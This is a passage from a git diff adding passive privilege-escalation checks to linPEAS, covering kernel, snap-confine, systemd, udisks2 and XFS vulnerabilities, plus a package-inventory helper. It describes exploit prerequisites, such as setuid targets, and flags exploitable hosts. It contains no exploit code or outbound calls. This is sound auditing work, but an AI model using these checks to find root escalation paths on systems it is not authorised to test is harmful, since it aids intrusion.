"$ovspc_openvswitch_reachable" ]; then + echo "Open vSwitch kernel datapath: $ovspc_openvswitch_state and reachable" | sed -${E} "s,.*,${SED_YELLOW}," + else + echo "Open vSwitch kernel datapath: $ovspc_openvswitch_state or blocked from loading" | sed -${E} "s,.*,${SED_GREEN}," + fi + echo "OVS generic-netlink support: $ovspc_genl_state" + + if [ "$ovspc_esp4_reachable$ovspc_esp6_reachable" ]; then + echo "ESP in-place-decryption consumer: reachable (esp4: $ovspc_esp4_state; esp6: $ovspc_esp6_state)" | sed -${E} "s,.*,${SED_YELLOW}," + else + echo "ESP in-place-decryption consumer: unavailable or blocked (esp4: $ovspc_esp4_state; esp6: $ovspc_esp6_state)" | sed -${E} "s,.*,${SED_GREEN}," + fi + + if [ "$ovspc_xfrm_reachable" ]; then + echo "XFRM userspace state configuration: $ovspc_xfrm_state and reachable" | sed -${E} "s,.*,${SED_YELLOW}," + else + echo "XFRM userspace state configuration: $ovspc_xfrm_state or blocked from loading" | sed -${E} "s,.*,${SED_GREEN}," + fi + + ovspc_userns_max="$(cat "${ovspc_root}proc/sys/user/max_user_namespaces" 2>/dev/null)" + ovspc_userns_clone="$(cat "${ovspc_root}proc/sys/kernel/unprivileged_userns_clone" 2>/dev/null)" + ovspc_apparmor="$(cat "${ovspc_root}proc/sys/kernel/apparmor_restrict_unprivileged_userns" 2>/dev/null)" + ovspc_userns_state="unknown" + if printf '%s\n' "$ovspc_config_data" | grep -Eq '^(CONFIG_USER_NS=n|# CONFIG_USER_NS is not set)$' \ + || [ "$ovspc_userns_max" = "0" ] \ + || [ "$ovspc_userns_clone" = "0" ] \ + || [ "$ovspc_apparmor" = "1" ]; then + ovspc_userns_state="blocked" + elif printf '%s\n' "$ovspc_userns_max" | grep -Eq '^[1-9][0-9]*$' \ + && [ "$ovspc_userns_clone" != "0" ] \ + && [ "$ovspc_apparmor" != "1" ]; then + ovspc_userns_state="enabled" + elif printf '%s\n' "$ovspc_config_data" | grep -q '^CONFIG_USER_NS=y$' \ + && [ "$ovspc_userns_clone" != "0" ] \ + && [ "$ovspc_apparmor" != "1" ]; then + ovspc_userns_state="enabled" + fi + + case "$ovspc_userns_state" in + enabled) echo "Unprivileged user namespaces: enabled (namespace CAP_NET_ADMIN is obtainable)" | sed -${E} "s,.*,${SED_YELLOW}," ;; + blocked) echo "Unprivileged user namespaces: disabled or AppArmor-restricted (default attack path blocked)" | sed -${E} "s,.*,${SED_GREEN}," ;; + *) echo "Unprivileged user namespaces: could not be determined" | sed -${E} "s,.*,${SED_YELLOW}," ;; + esac + + # Reuse the common setuid targets highlighted by linPEAS instead of another + # filesystem-wide search. The public exploit only needs one readable, + # root-owned setuid executable as its transient page-cache target. + ovspc_candidates="" + for ovspc_target in \ + usr/bin/mount usr/bin/chfn usr/bin/chsh usr/bin/newgrp usr/bin/chage \ + usr/bin/gpasswd usr/bin/su usr/bin/passwd bin/mount bin/su; do + ovspc_candidate="${ovspc_root}${ovspc_target}" + ovspc_magic="" + if command -v od >/dev/null 2>&1; then + ovspc_magic="$(od -An -tx1 -N4 "$ovspc_candidate" 2>/dev/null | tr -d '[:space:]')" + fi + [ "$ovspc_magic" = "7f454c46" ] \ + && [ -f "$ovspc_candidate" ] && [ -r "$ovspc_candidate" ] && [ -x "$ovspc_candidate" ] && [ -u "$ovspc_candidate" ] \ + && [ "$(ls -dn "$ovspc_candidate" 2>/dev/null | awk '{print $3}')" = "0" ] \ + && ovspc_candidates="$ovspc_candidates /$ovspc_target" + done + + if [ "$ovspc_candidates" ]; then + echo "Readable root-owned setuid target(s):$ovspc_candidates" | sed -${E} "s,.*,${SED_YELLOW}," + else + echo "Readable root-owned setuid target: none found in common system paths" | sed -${E} "s,.*,${SED_GREEN}," + fi + + ovspc_affected="" + [ "$ovspc_kernel_status" = "affected" ] \ + && [ "$ovspc_openvswitch_reachable" ] \ + && [ "$ovspc_esp4_reachable$ovspc_esp6_reachable" ] \ + && [ "$ovspc_xfrm_reachable" ] \ + && [ "$ovspc_userns_state" = "enabled" ] \ + && [ "$ovspc_candidates" ] \ + && ovspc_affected="yes" + + if [ "$ovspc_affected" ]; then + echo "POTENTIAL ROOT LPE: the affected kernel range and all known OVS/ESP/userns/setuid prerequisites were detected" | sed -${E} "s,.*,${SED_RED_YELLOW}," + echo "Confirm the running distribution kernel contains all three vendor backports before treating it as vulnerable" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + echo "Mitigation: update the vendor kernel; if unused, hard-disable openvswitch (or esp4/esp6) with an install /bin/false rule" + else + echo "Complete public exploit chain not confirmed; one or more required conditions above is missing or unknown" | sed -${E} "s,.*,${SED_GREEN}," + fi +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkSnapConfineCVE20268933.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkSnapConfineCVE20268933.sh new file mode 100644 index 00000000..ea97fa04 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkSnapConfineCVE20268933.sh @@ -0,0 +1,120 @@ +# Title: Functions - checkSnapConfineCVE20268933 +# ID: checkSnapConfineCVE20268933 +# Author: Chack Agent +# Last Update: 07-09-2026 +# Description: Passively identify set-capabilities snap-confine binaries exposed to CVE-2026-8933. +# License: GNU GPL +# Version: 1.1 +# Mitre: T1068 +# Functions Used: lp_extract_upstream_version, print_3title, print_info +# Global Variables: $E, $ROOT_FOLDER, $SED_GREEN, $SED_LIGHT_CYAN, $SED_RED_YELLOW +# Initial Functions: +# Generated Global Variables: $sc8933_caps, $sc8933_fixed, $sc8933_kind, $sc8933_os_id, $sc8933_os_release, $sc8933_path, $sc8933_reported, $sc8933_root, $sc8933_upstream, $sc8933_version, $sc8933_yaml +# Fat linpeas: 0 +# Small linpeas: 1 + +sc8933_version_ge() { + [ -n "$1" ] && [ -n "$2" ] || return 1 + if command -v dpkg >/dev/null 2>&1; then + dpkg --compare-versions "$1" ge "$2" + else + [ "$(printf '%s\n%s\n' "$1" "$2" | sort -V 2>/dev/null | tail -n1)" = "$1" ] + fi +} + +sc8933_version_lt() { + [ -n "$1" ] && [ -n "$2" ] || return 1 + if command -v dpkg >/dev/null 2>&1; then + dpkg --compare-versions "$1" lt "$2" + else + [ "$1" != "$2" ] && [ "$(printf '%s\n%s\n' "$1" "$2" | sort -V 2>/dev/null | head -n1)" = "$1" ] + fi +} + +sc8933_version_is_vulnerable() { + sc8933_version="$1" + sc8933_kind="$2" + sc8933_os_release="$3" + sc8933_upstream="$(lp_extract_upstream_version "$sc8933_version")" + + # The upstream affected range is >= 2.75.0 and < 2.76.1. Ubuntu fixed + # 2.76 with release-specific backports, so compare the complete dpkg version. + sc8933_version_ge "$sc8933_upstream" "2.75" || return 1 + if [ "$sc8933_kind" = "deb" ]; then + sc8933_fixed="" + case "$sc8933_os_release" in + 22.04) sc8933_fixed="2.76+ubuntu22.04.1" ;; + 24.04) sc8933_fixed="2.76+ubuntu24.04.1" ;; + 26.04) sc8933_fixed="2.76+ubuntu26.04.3" ;; + esac + if [ -n "$sc8933_fixed" ]; then + sc8933_version_lt "$sc8933_version" "$sc8933_fixed" + return + fi + fi + + sc8933_version_lt "$sc8933_upstream" "2.76.1" +} + +checkSnapConfineCVE20268933() { + command -v getcap >/dev/null 2>&1 || return + + sc8933_root="${ROOT_FOLDER:-/}" + case "$sc8933_root" in + */) ;; + *) sc8933_root="${sc8933_root}/" ;; + esac + sc8933_os_id="$(sed -nE 's/^ID="?([^" ]+)"?$/\1/p' "${sc8933_root}etc/os-release" 2>/dev/null | head -n1)" + sc8933_os_release="$(sed -nE 's/^VERSION_ID="?([^" ]+)"?$/\1/p' "${sc8933_root}etc/os-release" 2>/dev/null | head -n1)" + sc8933_reported="" + + for sc8933_path in \ + "${sc8933_root}usr/lib/snapd/snap-confine" \ + "${sc8933_root}snap/snapd/current/usr/lib/snapd/snap-confine"; do + [ -f "$sc8933_path" ] || continue + [ -u "$sc8933_path" ] && continue + sc8933_caps="$(getcap "$sc8933_path" 2>/dev/null)" + printf '%s' "$sc8933_caps" | grep -q 'cap_sys_admin' || continue + + if [ -z "$sc8933_reported" ]; then + print_3title "Set-capabilities snap-confine (CVE-2026-8933)" "T1068" + print_info "https://ubuntu.com/security/CVE-2026-8933" + sc8933_reported="1" + fi + + sc8933_kind="snap" + sc8933_yaml="${sc8933_root}snap/snapd/current/meta/snap.yaml" + sc8933_version="" + case "$sc8933_path" in + */usr/lib/snapd/snap-confine) + if [ "$sc8933_path" = "${sc8933_root}usr/lib/snapd/snap-confine" ]; then + sc8933_kind="deb" + if command -v dpkg-query >/dev/null 2>&1; then + sc8933_version="$(dpkg-query --admindir="${sc8933_root}var/lib/dpkg" -W -f='$''{Version}\n' snapd 2>/dev/null | head -n1)" + fi + elif [ -r "$sc8933_yaml" ]; then + sc8933_version="$(sed -nE "s/^version:[[:space:]]*['\"]?([^'\"[:space:]]+).*/\1/p" "$sc8933_yaml" 2>/dev/null | head -n1)" + fi + ;; + esac + + echo "$sc8933_caps" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + if [ -z "$sc8933_version" ]; then + echo "Potential CVE-2026-8933 exposure: privileged snap-confine uses file capabilities; version could not be determined" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ "$sc8933_os_id" != "ubuntu" ] && [ "$sc8933_kind" = "deb" ]; then + if sc8933_version_is_vulnerable "$sc8933_version" "$sc8933_kind" "$sc8933_os_release"; then + echo "snap-confine version $sc8933_version uses file capabilities and is in the upstream CVE-2026-8933 range; verify distro backports" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "snap-confine version $sc8933_version is not in the known CVE-2026-8933 vulnerable range" | sed -${E} "s,.*,${SED_GREEN}," + fi + elif sc8933_version_is_vulnerable "$sc8933_version" "$sc8933_kind" "$sc8933_os_release"; then + echo "Vulnerable to CVE-2026-8933: set-capabilities snap-confine version $sc8933_version permits local privilege escalation to root" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "snap-confine version $sc8933_version is not in the known CVE-2026-8933 vulnerable range" | sed -${E} "s,.*,${SED_GREEN}," + fi + done + + if [ -n "$sc8933_reported" ]; then + echo "" + fi +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkSystemdWritableExecPaths.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkSystemdWritableExecPaths.sh new file mode 100644 index 00000000..c30497b6 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkSystemdWritableExecPaths.sh @@ -0,0 +1,96 @@ +# Title: Function - checkSystemdWritableExecPaths +# ID: checkSystemdWritableExecPaths +# Author: Chack Agent +# Last Update: 16-09-2026 +# Description: Passively identify active root systemd services whose executable can be replaced through its writable parent directory. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1543.002,T1574.010 +# Functions Used: print_3title, print_info +# Global Variables: $E, $IAMROOT, $SED_RED_YELLOW +# Initial Functions: +# Generated Global Variables: $sdwed_dynamic_user, $sdwed_exec, $sdwed_exec_host, $sdwed_exec_parent, $sdwed_exec_records, $sdwed_findings, $sdwed_properties, $sdwed_root_dir, $sdwed_root_image, $sdwed_unit, $sdwed_units, $sdwed_user +# Fat linpeas: 0 +# Small linpeas: 1 + + +checkSystemdWritableExecPaths() { + [ "$(uname -s 2>/dev/null)" = "Linux" ] || return 0 + [ -z "${IAMROOT:-}" ] || return 0 + command -v systemctl >/dev/null 2>&1 || return 0 + + # Active units provide the strongest signal: their configured executable is + # already trusted by PID 1 and is likely to be invoked again on restart. + sdwed_units="$(systemctl list-units --type=service --state=active --no-legend --no-pager 2>/dev/null | + awk '$1 ~ /\.service$/ { print $1 }' | head -n 200)" + [ -n "$sdwed_units" ] || return 0 + + sdwed_findings="" + for sdwed_unit in $sdwed_units; do + sdwed_properties="$(systemctl show "$sdwed_unit" \ + -p User -p DynamicUser -p RootImage -p RootDirectory \ + -p ExecStartPre -p ExecStart -p ExecStartPost -p ExecReload \ + -p ExecStop -p ExecStopPost 2>/dev/null)" + sdwed_user="$(printf '%s\n' "$sdwed_properties" | sed -n 's/^User=//p' | head -n 1)" + case "$sdwed_user" in + ""|root|0) ;; + *) continue ;; + esac + sdwed_dynamic_user="$(printf '%s\n' "$sdwed_properties" | sed -n 's/^DynamicUser=//p' | head -n 1)" + if [ -z "$sdwed_user" ] && [ "$sdwed_dynamic_user" = "yes" ]; then + continue + fi + + # RootImage paths are not ordinary host paths. Avoid guessing whether a + # writable host directory maps into the image and producing a false alert. + sdwed_root_image="$(printf '%s\n' "$sdwed_properties" | sed -n 's/^RootImage=//p' | head -n 1)" + [ -z "$sdwed_root_image" ] || continue + sdwed_root_dir="$(printf '%s\n' "$sdwed_properties" | sed -n 's/^RootDirectory=//p' | head -n 1)" + + sdwed_exec_records="$(printf '%s\n' "$sdwed_properties" | + awk ' + { + sdwed_rest = $0 + while (match(sdwed_rest, /path=[^ ;}]*/)) { + print substr(sdwed_rest, RSTART + 5, RLENGTH - 5) + sdwed_rest = substr(sdwed_rest, RSTART + RLENGTH) + } + } + ' | sort -u)" + + for sdwed_exec in $sdwed_exec_records; do + case "$sdwed_exec" in + /*) ;; + *) continue ;; + esac + + if [ -n "$sdwed_root_dir" ] && [ "$sdwed_root_dir" != "/" ]; then + sdwed_exec_host="${sdwed_root_dir%/}${sdwed_exec}" + else + sdwed_exec_host="$sdwed_exec" + fi + sdwed_exec_parent="${sdwed_exec_host%/*}" + [ -n "$sdwed_exec_parent" ] || sdwed_exec_parent="/" + + [ -d "$sdwed_exec_parent" ] || continue + [ -w "$sdwed_exec_parent" ] && [ -x "$sdwed_exec_parent" ] || continue + + # In a sticky directory, a user cannot replace somebody else's existing + # entry despite being able to create files alongside it. + if [ -k "$sdwed_exec_parent" ] && [ -e "$sdwed_exec_host" ] && ! [ -O "$sdwed_exec_host" ]; then + continue + fi + + if [ -z "$sdwed_findings" ]; then + print_3title "Root systemd service executables replaceable through writable directories" "T1543.002,T1574.010" + print_info "https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html#User=" + sdwed_findings="found" + fi + echo "$sdwed_unit: $sdwed_exec_host (writable parent: $sdwed_exec_parent)" | + sed -${E} "s,.*,${SED_RED_YELLOW}," + ls -ld "$sdwed_exec_parent" "$sdwed_exec_host" 2>/dev/null + done + done + + [ -z "$sdwed_findings" ] || echo "" +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkUDisksCVE20267867.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkUDisksCVE20267867.sh new file mode 100644 index 00000000..57cfc014 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkUDisksCVE20267867.sh @@ -0,0 +1,137 @@ +# Title: Functions - checkUDisksCVE20267867 +# ID: checkUDisksCVE20267867 +# Author: Chack Agent +# Last Update: 07-09-2026 +# Description: Passively identify complete udisks2 as-user authorization-bypass exposure (CVE-2026-7867). +# License: GNU GPL +# Version: 1.1 +# Mitre: T1068 +# Functions Used: lp_extract_upstream_version, lp_version_lt, print_3title, print_info +# Global Variables: $E, $ROOT_FOLDER, $SED_LIGHT_CYAN, $SED_RED_YELLOW +# Initial Functions: +# Generated Global Variables: $ud7867_binary, $ud7867_binary_candidate, $ud7867_codename, $ud7867_distro_id, $ud7867_dpkg_fixed, $ud7867_dpkg_record, $ud7867_fstab, $ud7867_fstab_matches, $ud7867_full_version, $ud7867_manager, $ud7867_os_release, $ud7867_root, $ud7867_rpm_record, $ud7867_service_file, $ud7867_status, $ud7867_ubuntu_codename, $ud7867_upstream_version +# Fat linpeas: 0 +# Small linpeas: 1 + +ud7867_fixed_dpkg_version() { + # Known vendor backports from Debian DSA-6414-1 and Ubuntu USN-8701-1. + case "$1:$2" in + debian:trixie) echo "2.10.1-12.1+deb13u2" ;; + debian:forky|debian:sid) echo "2.11.2-1" ;; + ubuntu:noble) echo "2.10.1-6ubuntu1.5" ;; + ubuntu:resolute) echo "2.10.91-1ubuntu2.1" ;; + esac +} + +checkUDisksCVE20267867() { + [ "$(uname -s 2>/dev/null)" = "Linux" ] || return 0 + + ud7867_root="${ROOT_FOLDER:-/}" + case "$ud7867_root" in + */) ;; + *) ud7867_root="${ud7867_root}/" ;; + esac + + ud7867_fstab="${ud7867_root}etc/fstab" + [ -r "$ud7867_fstab" ] || return 0 + ud7867_fstab_matches="$(awk ' + /^[[:space:]]*#/ || NF < 4 { next } + { + ud7867_count = split($4, ud7867_options, ",") + for (ud7867_i = 1; ud7867_i <= ud7867_count; ud7867_i++) { + if (ud7867_options[ud7867_i] == "user" || + ud7867_options[ud7867_i] == "users" || + ud7867_options[ud7867_i] == "x-udisks-auth") { + print + next + } + } + } + ' "$ud7867_fstab" 2>/dev/null | head -n 10)" + [ -n "$ud7867_fstab_matches" ] || return 0 + + ud7867_binary="" + for ud7867_binary_candidate in usr/libexec/udisks2/udisksd usr/lib/udisks2/udisksd lib/udisks2/udisksd; do + if [ -x "${ud7867_root}${ud7867_binary_candidate}" ]; then + ud7867_binary="${ud7867_root}${ud7867_binary_candidate}" + break + fi + done + [ -n "$ud7867_binary" ] || return 0 + + ud7867_service_file="${ud7867_root}usr/share/dbus-1/system-services/org.freedesktop.UDisks2.service" + [ -r "$ud7867_service_file" ] || return 0 + + ud7867_full_version="" + ud7867_manager="" + if command -v dpkg-query >/dev/null 2>&1; then + ud7867_dpkg_record="$(dpkg-query --admindir="${ud7867_root}var/lib/dpkg" -W -f='$''{Status}|$''{Version}\n' udisks2 2>/dev/null | head -n1)" + case "$ud7867_dpkg_record" in + "install ok installed|"*) + ud7867_full_version="${ud7867_dpkg_record#*|}" + [ -n "$ud7867_full_version" ] && ud7867_manager="dpkg" + ;; + esac + fi + if [ -z "$ud7867_full_version" ] && command -v rpm >/dev/null 2>&1; then + if ud7867_rpm_record="$(rpm --root "$ud7867_root" -q --qf '%{VERSION}-%{RELEASE}\n' udisks2 2>/dev/null)"; then + ud7867_full_version="$(printf '%s\n' "$ud7867_rpm_record" | head -n1)" + [ -n "$ud7867_full_version" ] && ud7867_manager="rpm" + fi + fi + [ -n "$ud7867_full_version" ] || return 0 + + ud7867_os_release="${ud7867_root}etc/os-release" + ud7867_distro_id="$(sed -nE 's/^ID="?([^" ]+)"?$/\1/p' "$ud7867_os_release" 2>/dev/null | head -n1)" + ud7867_codename="$(sed -nE 's/^VERSION_CODENAME="?([^" ]+)"?$/\1/p' "$ud7867_os_release" 2>/dev/null | head -n1)" + ud7867_ubuntu_codename="$(sed -nE 's/^UBUNTU_CODENAME="?([^" ]+)"?$/\1/p' "$ud7867_os_release" 2>/dev/null | head -n1)" + if [ -n "$ud7867_ubuntu_codename" ]; then + ud7867_distro_id="ubuntu" + ud7867_codename="$ud7867_ubuntu_codename" + fi + + ud7867_upstream_version="$(lp_extract_upstream_version "$ud7867_full_version")" + ud7867_dpkg_fixed="" + ud7867_status="unknown" + + if [ "$ud7867_manager" = "dpkg" ] && command -v dpkg >/dev/null 2>&1; then + ud7867_dpkg_fixed="$(ud7867_fixed_dpkg_version "$ud7867_distro_id" "$ud7867_codename")" + if [ -n "$ud7867_dpkg_fixed" ]; then + if dpkg --compare-versions "$ud7867_full_version" lt "$ud7867_dpkg_fixed"; then + ud7867_status="affected" + else + ud7867_status="fixed" + fi + fi + fi + + # RPM vendors commonly retain their old upstream version after backporting. + if [ "$ud7867_status" = "unknown" ] && [ "$ud7867_manager" = "rpm" ]; then + if rpm --root "$ud7867_root" -q --changelog udisks2 2>/dev/null | grep -q 'CVE-2026-7867'; then + ud7867_status="fixed" + fi + fi + + if [ "$ud7867_status" = "unknown" ] && [ -n "$ud7867_upstream_version" ]; then + if lp_version_lt "$ud7867_upstream_version" "2.10.0"; then + ud7867_status="fixed" + elif lp_version_lt "$ud7867_upstream_version" "2.11.2"; then + ud7867_status="potential" + else + ud7867_status="fixed" + fi + fi + [ "$ud7867_status" = "affected" ] || [ "$ud7867_status" = "potential" ] || return 0 + + print_3title "UDisks as-user mount authorization bypass (CVE-2026-7867)" "T1068" + print_info "https://github.com/storaged-project/udisks/security/advisories/GHSA-j42g-v9jw-6ph3" + echo "udisks2 package: $ud7867_full_version ($ud7867_manager)" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + if [ "$ud7867_status" = "affected" ]; then + echo "VULNERABLE to CVE-2026-7867: package is below the known vendor fixed version and a qualifying fstab entry is present" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "Potentially vulnerable to CVE-2026-7867: upstream version is in the affected range 2.10.0 through 2.11.1; verify vendor backports" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi + echo "Qualifying /etc/fstab entries (maximum 10):" + printf '%s\n' "$ud7867_fstab_matches" + echo "" +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkXFSTangoCVE202680530.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkXFSTangoCVE202680530.sh new file mode 100644 index 00000000..593ed75a --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkXFSTangoCVE202680530.sh @@ -0,0 +1,146 @@ +# Title: Functions - checkXFSTangoCVE202680530 +# ID: checkXFSTangoCVE202680530 +# Author: Chack Agent +# Last Update: 16-09-2026 +# Description: Passively identify mounted XFS filesystems exposed to the XFSTango reflink local privilege-escalation condition (CVE-2026-80530). +# License: GNU GPL +# Version: 1.1 +# Mitre: T1068 +# Functions Used: lp_version_lt, print_3title, print_info +# Global Variables: $E, $SED_GREEN, $SED_LIGHT_CYAN, $SED_RED_YELLOW, $SED_YELLOW, $TIMEOUT +# Initial Functions: +# Generated Global Variables: $xft80530_distro_id, $xft80530_distro_version, $xft80530_info, $xft80530_kernel, $xft80530_mount_file, $xft80530_mountpoint, $xft80530_mountpoint_escaped, $xft80530_mounts, $xft80530_os_release, $xft80530_rc, $xft80530_reflink_enabled, $xft80530_reflink_status, $xft80530_reflink_unknown, $xft80530_status, $xft80530_version +# Fat linpeas: 0 +# Small linpeas: 1 + +xft80530_kernel_status() { + case "$1" in + 7.2.0-rc*) + xft80530_rc="$(printf '%s' "$1" | sed -nE 's/^7\.2\.0-rc([0-9]+).*/\1/p')" + if [ -n "$xft80530_rc" ] && [ "$xft80530_rc" -ge 7 ]; then + echo "fixed" + else + echo "affected" + fi + return + ;; + esac + xft80530_version="$(printf '%s' "$1" | sed -nE 's/^([0-9]+\.[0-9]+\.[0-9]+).*/\1/p')" + if [ -z "$xft80530_version" ]; then + echo "unknown" + elif lp_version_lt "$xft80530_version" "6.10.0"; then + echo "predates" + elif ! lp_version_lt "$xft80530_version" "7.2.0"; then + echo "fixed" + else + case "$xft80530_version" in + 6.12.*) + if ! lp_version_lt "$xft80530_version" "6.12.105"; then + echo "fixed" + else + echo "affected" + fi + ;; + 6.18.*) + if ! lp_version_lt "$xft80530_version" "6.18.46"; then + echo "fixed" + else + echo "affected" + fi + ;; + 7.1.*) + if ! lp_version_lt "$xft80530_version" "7.1.10"; then + echo "fixed" + else + echo "affected" + fi + ;; + *) echo "affected" ;; + esac + fi +} + +checkXFSTangoCVE202680530() { + [ "$(uname -s 2>/dev/null)" = "Linux" ] || return 0 + + xft80530_kernel="${1:-$(uname -r 2>/dev/null)}" + xft80530_mount_file="${2:-/proc/self/mounts}" + xft80530_os_release="${3:-/etc/os-release}" + [ -r "$xft80530_mount_file" ] || return 0 + + # Limit filesystem queries on hosts with very large mount namespaces. + xft80530_mounts="$(awk '$3 == "xfs" { print $2 }' "$xft80530_mount_file" 2>/dev/null | head -n 20)" + [ -n "$xft80530_mounts" ] || return 0 + + xft80530_status="$(xft80530_kernel_status "$xft80530_kernel")" + xft80530_distro_id="$(sed -nE 's/^ID="?([^" ]+)"?$/\1/p' "$xft80530_os_release" 2>/dev/null | head -n1)" + xft80530_distro_version="$(sed -nE 's/^VERSION_ID="?([^" ]+)"?$/\1/p' "$xft80530_os_release" 2>/dev/null | head -n1)" + # Red Hat confirms that its 5.14-based RHEL 9 kernel backported the + # vulnerable code, while RHEL 10 did not. Do not trust upstream version + # boundaries alone for these vendor kernels. + case "$xft80530_distro_id:$xft80530_distro_version" in + rhel:9*|centos:9*|rocky:9*|almalinux:9*) xft80530_status="vendor_affected" ;; + rhel:10*) xft80530_status="vendor_unaffected" ;; + esac + xft80530_reflink_enabled=0 + xft80530_reflink_unknown=0 + + print_3title "XFSTango XFS reflink LPE (CVE-2026-80530)" "T1068" + print_info "https://seclists.org/oss-sec/2026/q3/641" + echo "Kernel: $xft80530_kernel" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + echo "Mounted XFS filesystems (maximum 20):" + + while IFS= read -r xft80530_mountpoint_escaped; do + [ -n "$xft80530_mountpoint_escaped" ] || continue + # /proc/self/mounts represents whitespace as octal escapes. + xft80530_mountpoint="$(printf '%b' "$xft80530_mountpoint_escaped")" + xft80530_info="" + if [ -n "$TIMEOUT" ] && command -v xfs_info >/dev/null 2>&1; then + xft80530_info="$("$TIMEOUT" 2 xfs_info "$xft80530_mountpoint" 2>/dev/null)" + fi + + if printf '%s\n' "$xft80530_info" | grep -Eq '(^|[[:space:]])reflink=1([[:space:]]|$)'; then + xft80530_reflink_status="enabled" + xft80530_reflink_enabled=$((xft80530_reflink_enabled + 1)) + elif printf '%s\n' "$xft80530_info" | grep -Eq '(^|[[:space:]])reflink=0([[:space:]]|$)'; then + xft80530_reflink_status="disabled" + else + xft80530_reflink_status="unknown (xfs_info unavailable or inconclusive)" + xft80530_reflink_unknown=$((xft80530_reflink_unknown + 1)) + fi + printf ' %s - reflink %s\n' "$xft80530_mountpoint" "$xft80530_reflink_status" + done </dev/null +} + +linpeas_os_package_ecosystem(){ + _os_id="$(linpeas_os_release_field ID)" + _os_version_id="$(linpeas_os_release_field VERSION_ID)" + _os_version_major="$(printf "%s" "$_os_version_id" | cut -d. -f1)" + + case "$_os_id" in + debian) [ "$_os_version_major" ] && printf "Debian:%s" "$_os_version_major" ;; + ubuntu) [ "$_os_version_id" ] && printf "Ubuntu:%s" "$_os_version_id" ;; + alpine) [ "$_os_version_id" ] && printf "Alpine:v%s" "$_os_version_id" ;; + fedora) [ "$_os_version_id" ] && printf "Fedora:%s" "$_os_version_id" ;; + amzn) [ "$_os_version_id" ] && printf "Amazon Linux:%s" "$_os_version_id" ;; + rhel) [ "$_os_version_major" ] && printf "Red Hat:%s" "$_os_version_major" ;; + centos) [ "$_os_version_major" ] && printf "CentOS:%s" "$_os_version_major" ;; + rocky) [ "$_os_version_major" ] && printf "Rocky Linux:%s" "$_os_version_major" ;; + almalinux) [ "$_os_version_major" ] && printf "AlmaLinux:%s" "$_os_version_major" ;; + esac +} + +linpeas_tabbed_packages_to_json_lines(){ + awk -F '\t' -v manager="$1" -v ecosystem="$2" ' + function esc(s) { gsub(/\\/,"\\\\",s); gsub(/"/,"\\\"",s); gsub(/\r/," ",s); return s } + $1 != "" && $2 != "" { + key=$1 "|" $2 + if (seen[key]++) next + printf "{\"name\":\"%s\",\"version\":\"%s\",\"ecosystem\":\"%s\",\"manager\":\"%s\"}\n", esc($1), esc($2), esc(ecosystem), manager + }' +} + +linpeas_print_package_json_lines(){ + _ecosystem="$(linpeas_os_package_ecosystem)" + + if command -v dpkg-query >/dev/null 2>&1; then + dpkg-query -W -f='${source:Package}\t${source:Version}\t${binary:Package}\t${Version}\n' 2>/dev/null | awk -F '\t' ' + { + name=$1; version=$2 + if (name == "" || name == "-") { name=$3; version=$4 } + if (version == "" || version == "-") { version=$4 } + sub(/^src:/, "", name) + if (name == "" || version == "") next + printf "%s\t%s\n", name, version + }' | linpeas_tabbed_packages_to_json_lines "dpkg" "$_ecosystem" + elif command -v rpm >/dev/null 2>&1; then + rpm -qa --qf '%{NAME}\t%{VERSION}-%{RELEASE}\n' 2>/dev/null | linpeas_tabbed_packages_to_json_lines "rpm" "$_ecosystem" + elif command -v apk >/dev/null 2>&1; then + apk info 2>/dev/null | while IFS= read -r _pkg_name; do + [ "$_pkg_name" ] || continue + _pkg_line="$(apk info -e -v "$_pkg_name" 2>/dev/null | head -n 1)" + _pkg_version="$(printf "%s" "$_pkg_line" | awk -v n="$_pkg_name" 'index($0, n "-") == 1 { print substr($0, length(n) + 2); exit }')" + [ "$_pkg_version" ] || continue + printf '{"name":"%s","version":"%s","ecosystem":"%s","manager":"apk"}\n' \ + "$(linpeas_json_escape "$_pkg_name")" "$(linpeas_json_escape "$_pkg_version")" "$(linpeas_json_escape "$_ecosystem")" + done + elif command -v pacman >/dev/null 2>&1; then + pacman -Q 2>/dev/null | linpeas_tabbed_packages_to_json_lines "pacman" "$_ecosystem" + fi +} + +linpeas_packages_json(){ + _limit="${HACKTRICKS_PACKAGE_LIMIT:-300}" + linpeas_print_package_json_lines | awk -v max="$_limit" ' + BEGIN { first=1; printf "[" } + NF { + if (count >= max) next + if (!first) printf "," + printf "%s", $0 + first=0 + count++ + } + END { printf "]" }' +} + +linpeas_os_json(){ + _os_id="$(linpeas_os_release_field ID)" + _os_name="$(linpeas_os_release_field PRETTY_NAME)" + _os_version_id="$(linpeas_os_release_field VERSION_ID)" + _os_codename="$(linpeas_os_release_field VERSION_CODENAME)" + printf 